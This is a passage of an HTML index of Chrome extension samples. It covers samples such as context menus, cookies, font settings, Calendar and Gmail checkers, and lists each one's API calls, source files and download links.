<a href="../examples/api/contextMenus/basic.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="82fdc54d98adc279e8bbb7be60fff477cd1294a5">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#82fdc54d98adc279e8bbb7be60fff477cd1294a5">Context Menus Sample (with Event Page)</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong>
<span> and</span>
</span><span>
<strong>contextMenus</strong>
</span>
</p>
<p>Shows some of the features of the Context Menus API using an event page</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="contextMenus.html#method-create">chrome.contextMenus.create</a></code>
</li><li>
<code><a href="contextMenus.html#event-onClicked">chrome.contextMenus.onClicked</a></code>
</li><li>
<code><a href="runtime.html#event-onInstalled">chrome.runtime.onInstalled</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/contextMenus/event_page/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/contextMenus/event_page/sample.js">sample.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/contextMenus/event_page.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="4daa6becd0899a54776d9cf7f09613ed1a9f4d77">
<img class="icon" src="../examples/api/cookies/cookie.png">
<h2 class="name">
<a href="#4daa6becd0899a54776d9cf7f09613ed1a9f4d77">Cookie API Test Extension</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong><span>, </span>
</span><span>
<strong>cookies</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Testing Cookie API</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="browserAction.html#event-onClicked">chrome.browserAction.onClicked</a></code>
</li><li>
<code><a href="cookies.html#method-get">chrome.cookies.get</a></code>
</li><li>
<code><a href="cookies.html#method-getAll">chrome.cookies.getAll</a></code>
</li><li>
<code><a href="cookies.html#event-onChanged">chrome.cookies.onChanged</a></code>
</li><li>
<code><a href="cookies.html#method-remove">chrome.cookies.remove</a></code>
</li><li>
<code><a href="extension.html#method-getURL">chrome.extension.getURL</a></code>
</li><li>
<code><a href="tabs.html#method-create">chrome.tabs.create</a></code>
</li><li>
<code><a href="tabs.html#method-update">chrome.tabs.update</a></code>
</li><li>
<code><a href="windows.html#method-get">chrome.windows.get</a></code>
</li><li>
<code><a href="windows.html#method-getAll">chrome.windows.getAll</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/cookies/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/cookies/manager.html">manager.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/cookies/manager.js">manager.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/cookies/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/cookies.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="9e4fd06300ee2b3a171e1f30d1b70f8f10152c2b">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#9e4fd06300ee2b3a171e1f30d1b70f8f10152c2b">Download Selected Links</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>browser_action</strong><span>, </span>
</span><span>
<strong>experimental</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Select links on a page and download them.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="downloads.html#method-download">chrome.downloads.download</a></code>
</li><li>
<code><a href="tabs.html#method-executeScript">chrome.tabs.executeScript</a></code>
</li><li>
<code><a href="tabs.html#method-query">chrome.tabs.query</a></code>
</li><li>
<code><a href="windows.html#method-get">chrome.windows.get</a></code>
</li><li>
<code><a href="windows.html#method-getCurrent">chrome.windows.getCurrent</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/downloads/download_links/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/downloads/download_links/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/downloads/download_links/popup.js">popup.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/downloads/download_links/send_links.js">send_links.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/downloads/download_links.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="028eb5364924344029bcbe1d527f132fc72b34e5">
<img class="icon" src="../examples/extensions/email_this_page/mail_128x128.png">
<h2 class="name">
<a href="#028eb5364924344029bcbe1d527f132fc72b34e5">Email this page (by Google)</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong><span>, </span>
</span><span>
<strong>options_page</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>This extension adds an email button to the toolbar which allows you to email the page link using your default mail client or Gmail.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="browserAction.html#event-onClicked">chrome.browserAction.onClicked</a></code>
</li><li>
<code><a href="extension.html#method-connect">chrome.extension.connect</a></code>
</li><li>
<code><a href="extension.html#event-onConnect">chrome.extension.onConnect</a></code>
</li><li>
<code><a href="tabs.html#method-create">chrome.tabs.create</a></code>
</li><li>
<code><a href="tabs.html#method-executeScript">chrome.tabs.executeScript</a></code>
</li><li>
<code><a href="tabs.html#method-update">chrome.tabs.update</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/email_this_page/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/email_this_page/content_script.js">content_script.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/email_this_page/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/email_this_page/options.html">options.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/email_this_page/options.js">options.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/email_this_page.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="26115f23aef245d6757587e3e517bbe4b3bc55fe">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#26115f23aef245d6757587e3e517bbe4b3bc55fe">Event Page Example</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>alarms</strong><span>, </span>
</span><span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>bookmarks</strong><span>, </span>
</span><span>
<strong>browser_action</strong><span>, </span>
</span><span>
<strong>experimental</strong><span>, </span>
</span><span>
<strong>keybinding</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Demonstrates usage and features of the event page</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="alarms.html#method-create">chrome.alarms.create</a></code>
</li><li>
<code><a href="alarms.html#event-onAlarm">chrome.alarms.onAlarm</a></code>
</li><li>
<code><a href="bookmarks.html#event-onRemoved">chrome.bookmarks.onRemoved</a></code>
</li><li>
<code><a href="browserAction.html#event-onClicked">chrome.browserAction.onClicked</a></code>
</li><li>
<code><a href="browserAction.html#method-setBadgeText">chrome.browserAction.setBadgeText</a></code>
</li><li>
<code><a href="declarativeWebRequest.html#event-onRequest">chrome.declarativeWebRequest.onRequest</a></code>
</li><li>
<code><a href="experimental.keybinding.html#event-onCommand">chrome.experimental.keybinding.onCommand</a></code>
</li><li>
<code><a href="extension.html#event-onMessage">chrome.extension.onMessage</a></code>
</li><li>
<code><a href="extension.html#method-sendMessage">chrome.extension.sendMessage</a></code>
</li><li>
<code><a href="runtime.html#event-onInstalled">chrome.runtime.onInstalled</a></code>
</li><li>
<code><a href="runtime.html#event-onSuspend">chrome.runtime.onSuspend</a></code>
</li><li>
<code><a href="tabs.html#method-create">chrome.tabs.create</a></code>
</li><li>
<code><a href="tabs.html#method-executeScript">chrome.tabs.executeScript</a></code>
</li><li>
<code><a href="tabs.html#method-query">chrome.tabs.query</a></code>
</li><li>
<code><a href="tabs.html#method-sendMessage">chrome.tabs.sendMessage</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/eventPage/basic/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/eventPage/basic/content.js">content.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/eventPage/basic/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/eventPage/basic.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="763a08e9b06595d785568a8d392b95a2f3700258">
<img class="icon" src="../examples/tutorials/analytics/analytics-extension-icon-128.png">
<h2 class="name">
<a href="#763a08e9b06595d785568a8d392b95a2f3700258">Event Tracking with Google Analytics</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>browser_action</strong>
</span>
</p>
<p>A sample extension which uses Google Analytics to track usage.</p>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/tutorials/analytics/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/tutorials/analytics/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/tutorials/analytics/popup.js">popup.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/tutorials/analytics.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="4efa12eaaa442b6b7c880e7a38ceeb0cff7e8b77">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#4efa12eaaa442b6b7c880e7a38ceeb0cff7e8b77">FirePHP for Chrome</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>devtools_page</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Extends the Developer Tools, adding support for parsing FirePHP messages from server</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="devtools.network.html#method-getHAR">chrome.devtools.network.getHAR</a></code>
</li><li>
<code><a href="devtools.network.html#event-onRequestFinished">chrome.devtools.network.onRequestFinished</a></code>
</li><li>
<code><a href="tabs.html#method-executeScript">chrome.tabs.executeScript</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/devtools/network/chrome-firephp/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/devtools/network/chrome-firephp/devtools.html">devtools.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/devtools/network/chrome-firephp/devtools.js">devtools.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/devtools/network/chrome-firephp/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/devtools/network/chrome-firephp.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="31d10fd5e61ca51eb59073b358d4ab5267cbf318">
<img class="icon" src="../examples/api/fontSettings/fonts128.png">
<h2 class="name">
<a href="#31d10fd5e61ca51eb59073b358d4ab5267cbf318">Font Settings</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>browser_action</strong><span>, </span>
</span><span>
<strong>fontSettings</strong>
<span> and</span>
</span><span>
<strong>popup</strong>
</span>
</p>
<p>Sample extension for Font Settings API</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="fontSettings.html#method-clearDefaultFixedFontSize">chrome.fontSettings.clearDefaultFixedFontSize</a></code>
</li><li>
<code><a href="fontSettings.html#method-clearDefaultFontSize">chrome.fontSettings.clearDefaultFontSize</a></code>
</li><li>
<code><a href="fontSettings.html#method-clearFont">chrome.fontSettings.clearFont</a></code>
</li><li>
<code><a href="fontSettings.html#method-clearMinimumFontSize">chrome.fontSettings.clearMinimumFontSize</a></code>
</li><li>
<code><a href="fontSettings.html#method-getDefaultFixedFontSize">chrome.fontSettings.getDefaultFixedFontSize</a></code>
</li><li>
<code><a href="fontSettings.html#method-getDefaultFontSize">chrome.fontSettings.getDefaultFontSize</a></code>
</li><li>
<code><a href="fontSettings.html#method-getFont">chrome.fontSettings.getFont</a></code>
</li><li>
<code><a href="fontSettings.html#method-getFontList">chrome.fontSettings.getFontList</a></code>
</li><li>
<code><a href="fontSettings.html#method-getMinimumFontSize">chrome.fontSettings.getMinimumFontSize</a></code>
</li><li>
<code><a href="fontSettings.html#event-onDefaultFixedFontSizeChanged">chrome.fontSettings.onDefaultFixedFontSizeChanged</a></code>
</li><li>
<code><a href="fontSettings.html#event-onDefaultFontSizeChanged">chrome.fontSettings.onDefaultFontSizeChanged</a></code>
</li><li>
<code><a href="fontSettings.html#event-onFontChanged">chrome.fontSettings.onFontChanged</a></code>
</li><li>
<code><a href="fontSettings.html#event-onMinimumFontSizeChanged">chrome.fontSettings.onMinimumFontSizeChanged</a></code>
</li><li>
<code><a href="fontSettings.html#method-setDefaultFixedFontSize">chrome.fontSettings.setDefaultFixedFontSize</a></code>
</li><li>
<code><a href="fontSettings.html#method-setDefaultFontSize">chrome.fontSettings.setDefaultFontSize</a></code>
</li><li>
<code><a href="fontSettings.html#method-setFont">chrome.fontSettings.setFont</a></code>
</li><li>
<code><a href="fontSettings.html#method-setMinimumFontSize">chrome.fontSettings.setMinimumFontSize</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/fontSettings/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/fontSettings/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/fontSettings/popup.js">popup.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/fontSettings.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="8b0dd31216235941bdd8eb33fda915ef5cf79a82">
<img class="icon" src="../examples/extensions/calendar/images/icon-128.gif">
<h2 class="name">
<a href="#8b0dd31216235941bdd8eb33fda915ef5cf79a82">Google Calendar Checker (by Google)</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong><span>, </span>
</span><span>
<strong>options_page</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Quickly see the time until your next meeting from any of your calendars. Click on the button to be taken to your calendar.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="browserAction.html#event-onClicked">chrome.browserAction.onClicked</a></code>
</li><li>
<code><a href="browserAction.html#method-setBadgeBackgroundColor">chrome.browserAction.setBadgeBackgroundColor</a></code>
</li><li>
<code><a href="browserAction.html#method-setBadgeText">chrome.browserAction.setBadgeText</a></code>
</li><li>
<code><a href="browserAction.html#method-setIcon">chrome.browserAction.setIcon</a></code>
</li><li>
<code><a href="browserAction.html#method-setTitle">chrome.browserAction.setTitle</a></code>
</li><li>
<code><a href="extension.html#method-getBackgroundPage">chrome.extension.getBackgroundPage</a></code>
</li><li>
<code><a href="i18n.html#method-getMessage">chrome.i18n.getMessage</a></code>
</li><li>
<code><a href="tabs.html#method-create">chrome.tabs.create</a></code>
</li><li>
<code><a href="tabs.html#method-get">chrome.tabs.get</a></code>
</li><li>
<code><a href="tabs.html#event-onUpdated">chrome.tabs.onUpdated</a></code>
</li><li>
<code><a href="tabs.html#method-update">chrome.tabs.update</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/ar/messages.json">_locales/ar/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/bg/messages.json">_locales/bg/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/ca/messages.json">_locales/ca/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/cs/messages.json">_locales/cs/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/da/messages.json">_locales/da/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/de/messages.json">_locales/de/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/el/messages.json">_locales/el/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/en/messages.json">_locales/en/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/en_GB/messages.json">_locales/en_GB/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/es/messages.json">_locales/es/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/es_419/messages.json">_locales/es_419/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/et/messages.json">_locales/et/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/fi/messages.json">_locales/fi/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/fil/messages.json">_locales/fil/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/fr/messages.json">_locales/fr/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/he/messages.json">_locales/he/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/hi/messages.json">_locales/hi/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/hr/messages.json">_locales/hr/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/hu/messages.json">_locales/hu/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/id/messages.json">_locales/id/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/it/messages.json">_locales/it/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/ja/messages.json">_locales/ja/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/ko/messages.json">_locales/ko/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/lt/messages.json">_locales/lt/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/lv/messages.json">_locales/lv/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/nb/messages.json">_locales/nb/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/nl/messages.json">_locales/nl/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/pl/messages.json">_locales/pl/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/pt_BR/messages.json">_locales/pt_BR/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/pt_PT/messages.json">_locales/pt_PT/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/ro/messages.json">_locales/ro/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/ru/messages.json">_locales/ru/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/sk/messages.json">_locales/sk/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/sl/messages.json">_locales/sl/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/sr/messages.json">_locales/sr/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/sv/messages.json">_locales/sv/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/th/messages.json">_locales/th/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/tr/messages.json">_locales/tr/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/uk/messages.json">_locales/uk/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/vi/messages.json">_locales/vi/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/zh_CN/messages.json">_locales/zh_CN/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/_locales/zh_TW/messages.json">_locales/zh_TW/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/javascript/background.js">javascript/background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/javascript/options.js">javascript/options.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/javascript/util.js">javascript/util.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/views/background.html">views/background.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/calendar/views/options.html">views/options.html</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/calendar.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="4e35caa9742fb82dbd628892d23a781614f6eff6">
<img class="icon" src="../examples/extensions/gdocs/img/docs_spreadsheets-128.gif">
<h2 class="name">
<a href="#4e35caa9742fb82dbd628892d23a781614f6eff6">Google Document List Viewer</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong><span>, </span>
</span><span>
<strong>options_page</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Demonstrates how to use OAuth to connect the Google Documents List Data API.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="browserAction.html#method-setBadgeText">chrome.browserAction.setBadgeText</a></code>
</li><li>
<code><a href="extension.html#method-getBackgroundPage">chrome.extension.getBackgroundPage</a></code>
</li><li>
<code><a href="extension.html#method-getURL">chrome.extension.getURL</a></code>
</li><li>
<code><a href="tabs.html#method-create">chrome.tabs.create</a></code>
</li><li>
<code><a href="tabs.html#method-get">chrome.tabs.get</a></code>
</li><li>
<code><a href="tabs.html#event-onUpdated">chrome.tabs.onUpdated</a></code>
</li><li>
<code><a href="tabs.html#method-remove">chrome.tabs.remove</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/gdocs/background.html">background.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gdocs/chrome_ex_oauth.html">chrome_ex_oauth.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gdocs/chrome_ex_oauth.js">chrome_ex_oauth.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gdocs/chrome_ex_oauthsimple.js">chrome_ex_oauthsimple.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gdocs/js/jquery-1.4.1.min.js">js/jquery-1.4.1.min.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gdocs/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gdocs/options.html">options.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gdocs/popup.html">popup.html</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/gdocs.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="bb57f7a0132cbeb36ad7e7bb0ab75c21704234ca">
<img class="icon" src="../examples/extensions/gmail/icon_128.png">
<h2 class="name">
<a href="#bb57f7a0132cbeb36ad7e7bb0ab75c21704234ca">Google Mail Checker</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>alarms</strong><span>, </span>
</span><span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong><span>, </span>
</span><span>
<strong>options_page</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Displays the number of unread messages in your Google Mail inbox. You can also click the button to open your inbox.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="alarms.html#method-create">chrome.alarms.create</a></code>
</li><li>
<code><a href="alarms.html#event-onAlarm">chrome.alarms.onAlarm</a></code>
</li><li>
<code><a href="browserAction.html#event-onClicked">chrome.browserAction.onClicked</a></code>
</li><li>
<code><a href="browserAction.html#method-setBadgeBackgroundColor">chrome.browserAction.setBadgeBackgroundColor</a></code>
</li><li>
<code><a href="browserAction.html#method-setBadgeText">chrome.browserAction.setBadgeText</a></code>
</li><li>
<code><a href="browserAction.html#method-setIcon">chrome.browserAction.setIcon</a></code>
</li><li>
<code><a href="extension.html#method-getBackgroundPage">chrome.extension.getBackgroundPage</a></code>
</li><li>
<code><a href="i18n.html#method-getMessage">chrome.i18n.getMessage</a></code>
</li><li>
<code><a href="tabs.html#method-create">chrome.tabs.create</a></code>
</li><li>
<code><a href="tabs.html#method-get">chrome.tabs.get</a></code>
</li><li>
<code><a href="tabs.html#event-onUpdated">chrome.tabs.onUpdated</a></code>
</li><li>
<code><a href="tabs.html#method-update">chrome.tabs.update</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/ar/messages.json">_locales/ar/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/bg/messages.json">_locales/bg/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/ca/messages.json">_locales/ca/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/cs/messages.json">_locales/cs/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/da/messages.json">_locales/da/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/de/messages.json">_locales/de/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/el/messages.json">_locales/el/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/en/messages.json">_locales/en/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/en_GB/messages.json">_locales/en_GB/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/es/messages.json">_locales/es/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/es_419/messages.json">_locales/es_419/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/et/messages.json">_locales/et/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/fi/messages.json">_locales/fi/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/fil/messages.json">_locales/fil/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/fr/messages.json">_locales/fr/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/he/messages.json">_locales/he/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/hi/messages.json">_locales/hi/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/hr/messages.json">_locales/hr/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/hu/messages.json">_locales/hu/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/id/messages.json">_locales/id/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/it/messages.json">_locales/it/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/ja/messages.json">_locales/ja/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/ko/messages.json">_locales/ko/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/lt/messages.json">_locales/lt/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/lv/messages.json">_locales/lv/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/nb/messages.json">_locales/nb/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/nl/messages.json">_locales/nl/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/pl/messages.json">_locales/pl/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/pt_BR/messages.json">_locales/pt_BR/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/pt_PT/messages.json">_locales/pt_PT/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/ro/messages.json">_locales/ro/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/ru/messages.json">_locales/ru/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/sk/messages.json">_locales/sk/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/sl/messages.json">_locales/sl/messages.json</a></code>
</li><li>
